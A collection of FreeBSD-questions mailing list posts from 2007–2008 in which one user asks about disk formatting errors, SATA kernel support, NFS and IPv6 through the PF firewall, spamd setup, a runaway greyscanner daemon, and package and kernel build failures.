On Sat, 31 May 2008 11:42:21 +0200, Roland Smith [EMAIL PROTECTED] wrote: After partitioning and labeling the disk, did you make filesystems on the partitions with newfs? Ah, no. According to Absolute FreeBSD, 2nd ed, which I have in front of me, newfs invoked by sysinstall, which I used to create the slice and partition it (p 241). Anyway, I now try running newfs in terminal, but it throws up some errrors: # newfs /dev/da0s1c /dev/da0s1c: 194474.3MB (398283416 sectors) block size 16384, fragment size 2048 using 1059 cylinder groups of 183.77MB, 11761 blks, 23552 inodes. super-block backups (for fsck -b #) at: newfs: wtfs: 65536 bytes at sector 160: Invalid argument # newfs /dev/da0s1c /dev/da0s1c: 194474.3MB (398283416 sectors) block size 16384, fragment size 2048 using 1059 cylinder groups of 183.77MB, 11761 blks, 23552 inodes. super-block backups (for fsck -b #) at: 160, 376512, 752864, 1129216, 1505568, 1881920, 2258272, 2634624, 3010976, 3387328, 3763680, 4140032,newfs: wtfs: 65536 bytes at sector 4516384: Invalid argument I tried it several times; the errors seem kinda random, since they vary each time I run the command. Could it be that the chipset of this USB device, JMicron, is not entirely supported by FreeBSD? The reason I ask is because this appears to be an issue under Linux; cf, http://www.qbik.ch/usb/devices/showdev.php?id=3751 Yes, I am well aware it is a different OS (!); I only mention it in case there is overlap in the codebase for this particular chipset. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
SATA support custom v7.0 kernel
Hi all, I'd like to add a SATA drive to a P4 box that I use as a gateway/server. The MB doesn't have a SATA interface, so I stuck an Initio-based SATA card in the box. The kernel recognizes the card, but the attached drive wasn't displayed when I started up sysinstall to format it. I'm wondering whether I am missing SATA support. I commented out a bunch of stuff such as the SCSI controllers when I compiled the kernel with ALTQ support, but these options *are* included: # SCSI peripherals device scbus # SCSI bus (required for SCSI) device ch # SCSI media changers device da # Direct Access (disks) device sa # Sequential Access (tape etc) device cd # CD device pass # Passthrough device (direct SCSI access) device ses# SCSI Environmental Services (and SAF-TE) Should this be enough? I don't see any specific references to SATA in the handbook http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/kernelconfig-config.html Thanks. $ uname -a FreeBSD venus.lim.nl 7.0-STABLE FreeBSD 7.0-STABLE #4: Mon Mar 3 15:07:21 CET 2008 [EMAIL PROTECTED]:/usr/obj/usr/src/sys/VENUS i386 -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: SATA support custom v7.0 kernel
On Thu, 29 May 2008 19:35:39 +0300, Alexander Motin [EMAIL PROTECTED] wrote: Usually SATA is more ATA then SCSI. Try to add to your config: deviceata [...] My kernel config has the ATA stuff already; the system currently boots from an IDE drive. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
server (partly) fails: hardware?
Hi all, I have FreeBSD installed on a ~6 year old IBM NetVista box; it serves a headless gateway/server/WAP for my home network. I upgraded it from v6 to v7 in mid January, building a custom kernel with altq and the new scheduler. It has been running fine since early December. However, three times during the past few days, it has stop functioning. The WAN connection dies and I can no longer ssh into the box. However, I can still ping it, and I can still ssh from one LAN client to another via the FreeBSD box. IOW, it seems to be dying, but not freezing, if that makes any sense. Alas, there is nothing in /var/messages to indicate what happens. I don't think it is succumbing to excessive load; it has a 1.6 MHz Pentium IV, 512 MB RAM, rarely uses swap, and the load averages tend to be very light. At this point, I assume a hardware issue, and I can have the box tested by a local whitebox shop later this week, but I am open to other avenues to purse as well. Thanks in advance for any ideas. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: server (partly) fails: hardware?
On Sun, 4 May 2008 20:14:45 +0200 (CEST), Wojciech Puchar [EMAIL PROTECTED] wrote: disk I/O hangs while everything else works. check with smartmontools if your disk report problems, if not - check cables. Thanks for the tip. This sounds promising. FreeBSD runs fine on pentium 90 with 16MB RAM (with slightly cutdown kernel), without changes on 32. Wow, maybe there is hope for the old 33 MHz 486SX Thinkpad I have in my closet. IIRC, it has a whopping 32MB. It may be slow but it is built like a tank. On Sun, 4 May 2008 20:16:18 +0200 (CEST), Wojciech Puchar [EMAIL PROTECTED] wrote: If you can connect a monitor to the server and actually see what happens also if it still accepts keystrokes and stuff, that would probably help in diagnosing the problem. yes it will. i had such problem many times. it's always disk/cables/controller problem. OK, I am connecting a serial cable and will monitor the FreeBSD box from my Linux desktop. But what should I be looking for? On a semi-related note, I have been thinking of popping a SATA card and and big SATA drive in this box and removing the 30 GB IDE drive. Is there any reason why it shouldn't be possible to boot directly from the SATA drive given that SATA is not on the motherboard? Thanks. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: is my eyesight THAT bad?!
On Thu, Apr 24, 2008 at 5:15 PM, Jim Stapleton [EMAIL PROTECTED] wrote: I don't know to how check grammar, had a green line under 'how' when I was done. That was the closest I could find. Ah-Ha! *that's* what those funny green lines in my docs are. I couldn't figure out what they were doing there. Thanks for solving that little mystery for me. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
nfs firewall, hard vs soft mount
Hi all, I have a FreeBSD v7 box set up as gateway/mailserver/WAP. I leave my WAP unencrypted, so my neighbors can use it, and use PF to allow just a few specific services (dhcp dns, http, https). I'd like to be able to mount a couple of NFS shares from a desktop box running Fedora on a wireless client. I've opened the sunrpc and nfs ports in PF, but that doesn't seem to be enough. tcpdump indicates some high upd ports in the 40k-50k range are used in the nfs negotiation, but I can't figure out exactly what is going on. Does anyone know what additional ports need to be opened for nfs? Will I need to use PF to redirect this udf traffic to the fedora host or will it find the nfs server on its own? Also, this page here: http://tldp.org/HOWTO/NFS-HOWTO/client.html mentions hard vs soft mounts. Since wifi is ocassionally flaky, and since the wireless client (a laptop) is not always within range, I'd prefer to not to mount them via fstab, but via in a batch file with mount, but that command doesn't appear to support soft mounts. In the past, I've noticed that nautilus etc on the client has a fit when hard-mounted nfs shares disappear. Can anyone recommend a robust way of mounting NFS shares? I've also tried to mount remote file systems using sftp in gnome (ie, sftp://host/dir), but the new gvfs subsystem (which apparently replaces gnome-vfs) still seems flaky; it freezes up my laptop every few times. Another drawback of sftp is that it appears to add some overhead which I notice when watching AVI files -- the media player ocassionally stutters. In any case, suggestions for alternative approaches to mounting remote file systems via wireless would be most welcome. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Laptop advice
On Fri, Mar 21, 2008 at 10:56 AM, Joe Demeny [EMAIL PROTECTED] wrote: I need to get a budget-priced laptop, such as one of these: http://www.newegg.com/Product/Product.aspx?Item=N82E16834101123 Read the user comments carefully. For this laptop, you'll find, for example: --- Cons: RTL8187B wireless chipset. If you want to use a wireless connection under Linux this will give you problems. Tried several distros with no success. Was finally able to get it to work *intermittently* with Windows 98 drivers under Ndiswrapper - XP drivers would not work. --- If you plan on using wireless lan, you'll need to read the fine print very carefully to determine whether there is BSD support for the given chipset. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: my brother is making me learn FreeBSD...
On Thu, Mar 20, 2008 at 8:32 AM, Donald Laniohan [EMAIL PROTECTED] wrote: My task is to build a BSD server and do something with it. To add to the Patrick's list: make it a DAAP music server. See mt-daapd: $ cat /usr/ports/audio/mt-daapd/pkg-descr daapd scans a directory for music files and makes them available via the Apple proprietary protocol DAAP. DAAP clients can browse the directory and retrieve individual files, either by streaming or by downloading them. WWW: http://mt-daapd.sourceforge.net/ -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
portupgrade can't fetch packages
Hi all, Earlier today I ran portupgrade -aP to update my system. Alas, everytime it tried to download a package, it failed and resorted to downloading and compiling the source. For example: [...] --- Checking for the latest package of 'lang/python25' --- Fetching the package(s) for 'python25-2.5.2_1' (lang/python25) --- Fetching python25-2.5.2_1 fetch: ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-7-stable/All/python25-2.5.2_1.tbz: Can't open data connection ** The command returned a non-zero exit status: 1 ** Failed to fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-7-stable/All/python25-2.5.2_1.tbz fetch: ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-7-stable/All/python25-2.5.2_1.tgz: File unavailable (e.g., file not found, no access) ** The command returned a non-zero exit status: 1 ** Failed to fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-7-stable/All/python25-2.5.2_1.tgz ** Failed to fetch python25-2.5.2_1 ** Listing the failed packages (-:ignored / *:skipped / !:failed) ! python25-2.5.2_1 (fetch error) ** Could not find the latest version (2.5.2_1) --- Using the port instead of a package [...] However, I could copy and paste the given URL, ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-7-stable/All/python25-2.5.2_1.tgz, into another terminal window and download it manually with wget, ftp, fetch, and/or curl (I tested them all). What could be preventing portupgrade from being able to download the packages itself? Thanks. $ uname -r 7.0-STABLE -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
the daemon that won't die
Hi all, I made the mistake of trying to run greyscanner http://www.ualberta.ca/~beck/nycbug06/scripts/greyscanner as a regular user. Now, everytime it runs (every 30 minutes), there is a cron error from user operator complaining that you need to be root to run /usr/libexec/save-entropy. Moreover, each time this happens, an instance of greyscanner, belonging to user operator, remains dormant in memory, which means an additional instance of perl. After a day or so most of my swap memory is used. up. I have tried killing every PID associated with user operator and/or greyscanner, but like Lazarus the thing keeps rising from the dead every 30 mins. I can't figure out what process is keeping it alive. FWIW, here is the relevant snippet from the script: # daemonize and scan in a loop. daemonize; while (1) { setlogsock('unix'); openlog(greytrapper, 'pid', 'mail') || die can't openlog; syslog('debug', Scan started); my $pid; $pid = fork(); if (!$pid) { # child. scan away... scan; exit(0); } # parent waits and sleeps. wait; syslog('debug', Scan completed); sleep($SCAN_INTERVAL); } I am not a perl programmer, and it is not immediately obvious what is going on here. So, how to I kill this bugger once and for all? Thanks. $ uname -r 7.0-PRERELEASE -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: the daemon that won't die
On Sun, Mar 2, 2008 at 7:05 PM, Christian Walther [EMAIL PROTECTED] wrote: If you get an error from *cron* it means that greyscanner is executed from cron itself. Christian, no, I am not running greyscanner via cron. However, there is this entry: # Save some entropy so that /dev/random can re-seed on boot. */11 * * * * operator /usr/libexec/save-entropy which I have temporarily commented out. The thing is, in terminal, I see this: $ ps uax | grep greyscanner operator 84730 0.0 1.1 7928 5468 ?? I 6:44PM 0:00.10 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 84999 0.0 1.1 7928 5468 ?? I 6:55PM 0:00.10 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 85162 0.0 1.1 7928 5468 ?? I 7:00PM 0:00.09 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 85436 0.0 1.1 7928 5468 ?? I 7:11PM 0:00.09 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 85736 0.0 1.1 7928 5468 ?? I 7:22PM 0:00.09 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 86024 0.0 1.1 7928 5468 ?? I 7:33PM 0:00.08 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 86327 0.0 1.1 7928 5468 ?? I 7:44PM 0:00.08 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 86610 0.0 1.1 7928 5468 ?? I 7:55PM 0:00.07 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 86772 0.0 1.1 7928 5468 ?? I 8:00PM 0:00.07 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 87066 0.0 1.1 7928 5468 ?? I 8:11PM 0:00.07 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 87377 0.0 1.1 7928 5468 ?? I 8:22PM 0:00.06 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 87666 0.0 1.1 7928 5468 ?? I 8:33PM 0:00.06 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 88051 0.0 1.1 7928 5468 ?? I 8:44PM 0:00.06 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 88358 0.0 1.1 7928 5468 ?? I 8:55PM 0:00.05 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 88521 0.0 1.1 7928 5468 ?? I 9:00PM 0:00.05 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 88833 0.0 1.1 7928 5468 ?? I 9:11PM 0:00.05 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 89175 0.0 1.1 7928 5468 ?? I 9:22PM 0:00.04 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 89479 0.0 1.1 7928 5468 ?? I 9:33PM 0:00.04 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 89807 0.0 1.1 7928 5468 ?? I 9:44PM 0:00.03 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 90127 0.0 1.1 7928 5468 ?? I 9:55PM 0:00.03 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 90291 0.0 1.1 7928 5468 ?? I10:00PM 0:00.03 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 90604 0.0 1.1 7928 5468 ?? I10:11PM 0:00.02 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 90946 0.0 1.1 7928 5468 ?? I10:22PM 0:00.02 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 91265 0.0 1.1 7928 5468 ?? I10:33PM 0:00.02 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) operator 91619 0.0 1.1 7928 5468 ?? I10:44PM 0:00.01 /usr/bin/perl /usr/local/bin/greyscanner (perl5.8.8) I can't figure out what the heck is going on; what the connection is between the greyscanner script and the cron errors. Note that the above is happening every eleven minutes, just like the save-entropy cron entry. Thanks. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
PF vs. ping6
Hi all, I am trying to set up a IPv6 tunnel following the instructions in the handbook http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-ipv6.html. aiccu starts ok: # sixxs-aiccu start Tunnel Information for T14342: POP Id : nlams05 IPv6 Local : x2/64 IPv6 Remote : x1/64 Tunnel Type : 6in4-heartbeat Adminstate : enabled Userstate : enabled I can ping6 localhost, I can ping6 the tunnel begin point (local), but I can't ping6 the (remote) end point. Firing up tcpdump, I see that the firewall is blocking the ping packets. I have these (provisional) rules at the top of the filter section in PF: pass quick on fxp0 inet6 # ext if pass quick on gif0 inet6 to no avail; PF is still blocking ping6. Am I missing something here? -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: PF vs. ping6
On Fri, Feb 22, 2008 at 1:36 AM, Christopher Cowart I don't use pf, but I'm guessing from the man page that you may need to try: pass quick on fxp0 proto 41 Ah, finally, this works: pass quick on $ext_if proto 41 pass quick on gif0 inet6 which PF interprets as: pass quick on fxp0 proto ipv6 all keep state pass quick on gif0 inet6 all flags S/SA keep state Thanks Christopher, I really appreciate it. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: OT: Whats wrong with gmail?
Minor but tiresome: no option to use a non-proportional font to view your messages. Apparently, an extension called Better Gmail allowed this at one point but not now. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: OT: www search engines
On Feb 6, 2008 2:10 AM, Erik Osterholm [EMAIL PROTECTED] wrote: Without an ISP's help, they won't know who owns your IP address. And I suppose that if you have a dynamic IP address, even the ISP may not know, unless they keep records correlating dhcp leases with MAC addresses or phone lines. I'd be curious to know whether this is done, just for theoretical reasons. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
rkhunter: find: /dev/fd/3/* No such file or directory error
Hi all, Lately I have been seeing a lot of errors generated when I run rkhunter on a daily basis by cron: find: /dev/fd/3/sendmail.st: No such file or directory find: /dev/fd/3/userlog: No such file or directory find: /dev/fd/3/lastlog: No such file or directory [...] I am afraid I don't know quite enough about the BSD filesystem to know what dev/fd/3 is. The thought occurs to me that it might have something to do with my installing (ob)spamd which requires the addition of the following line in fstab: fdescfs /dev/fd fdescfs rw 0 0 Just a wild guess. FYI: $ uname -r 7.0-PRERELEASE Thanks. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Low Level Language Suggestions: OT
Victor, If you are talking about human language translation, which I gather you are, then the amount of effort you will need to spend on developing and/or acquiring linguistic resources and/or building interfaces for linguists to code dictionaries and grammars, and/or interfaces for editors to render the output in a decent form, and/or tools to clean up the input, will far outweigh in importance the computational efficiency of your algorithms. Deciding between C++, Java, or Python etc. will be the very least of your problems... -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
spamd-setup can't find spamd.conf
Hi all, I am trying to set up spamd to work in conjunction with pf; as a reference I am using chapter six from Peter Hansteen's The Book of BF, which I picked up today. I've installed the spamd port, which many of you will know calls itself obspamd under FreeBSD, and I have the daemon running now on my v.7-PRELEASE system. But for some reason I can't update the blacklist tables: $ sudo /usr/local/sbin/spamd-setup -n spamd-setup: Can't find all in spamd config: No such file or directory Dan mentions this error message in his tutorial: If you get the following error message: # /usr/local/etc/rc.d/pfspamd start Starting pfspamd. spamd-setup: Can't find all in spamd config: No such file or directory then you probably forget to create /usr/local/etc/spamd.conf (see above) or you removed the all section from it. [full: http://www.freebsddiary.org/pf.php ] Thing is, the file really is there and contains the all statement: $ grep -A 2 all: /usr/local/etc/spamd.conf all:\ :uatraps:whitelist: Anyone have any idea what is going wrong here? TIA -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: spamd-setup can't find spamd.conf
On Jan 24, 2008 10:06 PM, Alex Zbyslaw [EMAIL PROTECTED] wrote: You could try running it under ktrace to double-check what is actually being opened. Simple to try. Thanks Alex, that was helpful. Doing so revealed that spamd-setup was looking for spamd.conf in /usr/local/etc/spamd, not /usr/local/etc/ as indicated in the documentation I was following. (I now see the man page for spamd.conf indicates this.) -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Fixing a USB disk to a specific device name
I use udev rules to do this. See: http://www.linuxquestions.org/questions/linux-general-1/make-removable-usb-hdd-mount-at-fixed-mount-point-511917/ -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Help From Indonesian....What's the matter with my mouse ??
An issue like this is best posted in the appropriate pcbsd forum: http://forums.pcbsd.org/ with detailed information about your system and dmesg output. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
kernel make error: /usr/src/sys/crypto/rijndael/* missing
Hi all, I am trying to compile the kernel for the first time, and I got an error message: make -V CFILES -V SYSTEM_CFILES -V GEN_CFILES | MKDEP_CPP=cc -E CC=cc xargs mkdep -a -f .newdep -O2 -pipe -fno-strict-aliasing -std=c99 -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointer-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -I/usr/src/sys/contrib/ipfilter -I/usr/src/sys/contrib/pf -I/usr/src/sys/dev/ath -I/usr/src/sys/contrib/ngatm -I/usr/src/sys/dev/twa -I/usr/src/sys/gnu/fs/xfs/FreeBSD -I/usr/src/sys/gnu/fs/xfs/FreeBSD/support -I/usr/src/sys/gnu/fs/xfs -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-limit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-align-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse2 -mno-sse3 -ffreestanding cc: /usr/src/sys/crypto/rijndael/rijndael-alg-fst.c: No such file or directory cc: /usr/src/sys/crypto/rijndael/rijndael-api-fst.c: No such file or directory cc: /usr/src/sys/crypto/rijndael/rijndael-api.c: No such file or directory cc: /usr/src/sys/crypto/sha1.c: No such file or directory cc: /usr/src/sys/crypto/sha2/sha2.c: No such file or directory /usr/src/sys/dev/random/hash.c:34:46: error: crypto/rijndael/rijndael- api-fst.h: No such file or directory /usr/src/sys/dev/random/hash.c:35:30: error: crypto/sha2/sha2.h: No such file or directory /usr/src/sys/dev/random/yarrow.c:40:46: error: crypto/rijndael/rijndael- api-fst.h: No such file or directory /usr/src/sys/dev/random/yarrow.c:41:30: error: crypto/sha2/sha2.h: No such file or directory /usr/src/sys/net80211/ieee80211_crypto_ccmp.c:51:38: error: crypto/rijndael/rijndael.h: No such file or directory In file included from /usr/src/sys/netinet/sctp_os.h:59, from /usr/src/sys/netinet/sctp_pcb.h:39, from /usr/src/sys/netinet/in_proto.c:80: /usr/src/sys/netinet/sctp_os_bsd.h:448:25: error: crypto/sha1.h: No such file or directory [...] mkdep: compile failed *** Error code 1 Stop in /usr/obj/usr/src/sys/VENUS. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. I installed the base and kernel source (CURRENT) with cvsup last night. Any idea what files I am still missing? Thanks -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: kernel make error: /usr/src/sys/crypto/rijndael/* missing
reference to `xpt_done' umass.o(.text+0xcfa): In function `umass_cam_action': : undefined reference to `xpt_done' umass.o(.text+0xfe5): In function `umass_attach': : undefined reference to `cam_simq_alloc' umass.o(.text+0x1039): In function `umass_attach': : undefined reference to `cam_sim_alloc' umass.o(.text+0x1065): In function `umass_attach': : undefined reference to `xpt_bus_register' umass.o(.text+0x1145): In function `umass_attach': : undefined reference to `cam_simq_free' umass.o(.text+0x1281): In function `umass_cam_rescan_callback': : undefined reference to `xpt_free_path' umass.o(.text+0x22de): In function `umass_cam_rescan': : undefined reference to `xpt_periph' umass.o(.text+0x22ed): In function `umass_cam_rescan': : undefined reference to `xpt_create_path' umass.o(.text+0x2323): In function `umass_cam_rescan': : undefined reference to `xpt_setup_ccb' umass.o(.text+0x2340): In function `umass_cam_rescan': : undefined reference to `xpt_action' umass.o(.text+0x43b): In function `umass_cam_quirk_cb': : undefined reference to `xpt_done' umass.o(.text+0x453): In function `umass_cam_quirk_cb': : undefined reference to `xpt_done' *** Error code 1 -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: kernel make error: /usr/src/sys/crypto/rijndael/* missing
On Jan 19, 2008 3:16 PM, Kris Kennaway [EMAIL PROTECTED] wrote: Some things incorrectly removed from your kernel config. Compare carefully to GENERIC or just revert. I reverted, then added the ALTQ lines. Compile time was about an hour on a 1.6Ghz Pentium IV, so that wasn't so bad. Rebooted OK. Thanks again. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: FBSD or PCBSD?
On Jan 18, 2008 3:27 PM, John Nielsen [EMAIL PROTECTED] wrote: Quoting Robin Becker [EMAIL PROTECTED]: I have had great success using PCBSD on various acers, I eventually got fed up with it being not quite identical to FreeBSD and I now have FreeBSD 6.2 on my current acer laptop (a 1680). I was unable to even boot my Wife's Acer (an Aspire 5520) with FreeBSD 6.3-pre or 7.0-pre. I'm also pretty sure the Acer wireless is NOT supported by any native drivers; FWIW, my Acer Aspire 5500Z has Intel 2200 wireless chipset which is supported by FreeBSD and runs FreeBSD and PC-BSD fine. Sounds like Acer laptops don't all have the same wireless NIC... -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
pkg_add: remote install (-r) broken
Hi all, At some point after my original installation of v.7-BETA3 in late November and a subsquent upgrade to BETA4 with Colin Percival's freebsd-update, installing packages remotely with pkg_add on my system broke. For example: $ sudo pkg_add -vr rtorrent scheme: [ftp] user: [] password: [] host: [ftp.freebsd.org] port: [0] document: [/pub/FreeBSD/ports/i386/packages-7-current/Latest/rtorrent.tbz] --- ftp.freebsd.org:21 looking up ftp.freebsd.org connecting to ftp.freebsd.org:21 220 ftp.FreeBSD.org NcFTPd Server (licensed copy) ready. USER anonymous 331 Guest login ok, send your complete e-mail address as password. PASS [EMAIL PROTECTED] 230-You are user #181 of 1000 simultaneous users allowed. 230- 230 Logged in anonymously. PWD 257 / is cwd. CWD pub/FreeBSD/ports/i386/packages-7-current/Latest 250 /pub/FreeBSD/ports/i386/packages-7-current/Latest is new cwd. MODE S 200 Mode okay. TYPE I 200 Type okay. binding data socket PORT 172,19,3,3,209,68 200 PORT command successful. initiating transfer RETR rtorrent.tbz 550 Cannot connect to 78.27.2.208:53572 - Unknown error: 0. Error: FTP Unable to get ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-7-current/Latest/rtorrent.tbz: File unavailable (e.g., file not found, no access) pkg_add: unable to fetch 'ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-7-current/Latest/rtorrent.tbz' by URL pkg_add: 1 package addition(s) failed Now, I *know* the package and host are online; I can copy and paste the URL from the screen to grab it with wget: wget ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-7-current/Latest/rtorrent.tbz This works. What could be going wrong with add_pkg here? As I indicate above, I am currently at 7.0-BETA4 Thanks. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: batch rename
On Jan 5, 2008 6:34 AM, Jeff Laine [EMAIL PROTECTED] wrote: My goal is to rename several files in such a way as to decapitalize starting letters in their names. The solution seems to be simple but I'm stuck. What should I use? awk/sed or write some shell-script? If you want to forsake the command line, krename is great for this kind of thing. From the website: What is KRename ? Rename is a powerful batch renamer for KDE. It allows you to easily rename hundreds or even more files in one go. The filenames can be created by parts of the original filename, numbering the files or accessing hundreds of informations about the file, like creation date or Exif informations of an image. http://www.krename.net/ -- Colin Brace Amsterdam ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
acx100 under 7.0-BETA3
Hi all, I have a wireless card with the Texas Instruments ACX 111 chipset that appears to be supported by the acx100 driver. However, when I run make install in /usr/ports/net/acx100, I get an error message: $ sudo make install === acx100-20040701_1 is marked as broken: Does not compile on FreeBSD = 6.x. *** Error code 1 On the developers web page http://dev.kewl.org/acx100+111/, he indicates that it has been tested under CURRENT and source tarballs are available dated 29 October. What would be the best strategy at this point? Try to compile it outside the port tree? Wait until the latter has been updated? Send a message to the maintainer? Thanks. -- Colin Brace Amsterdam ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]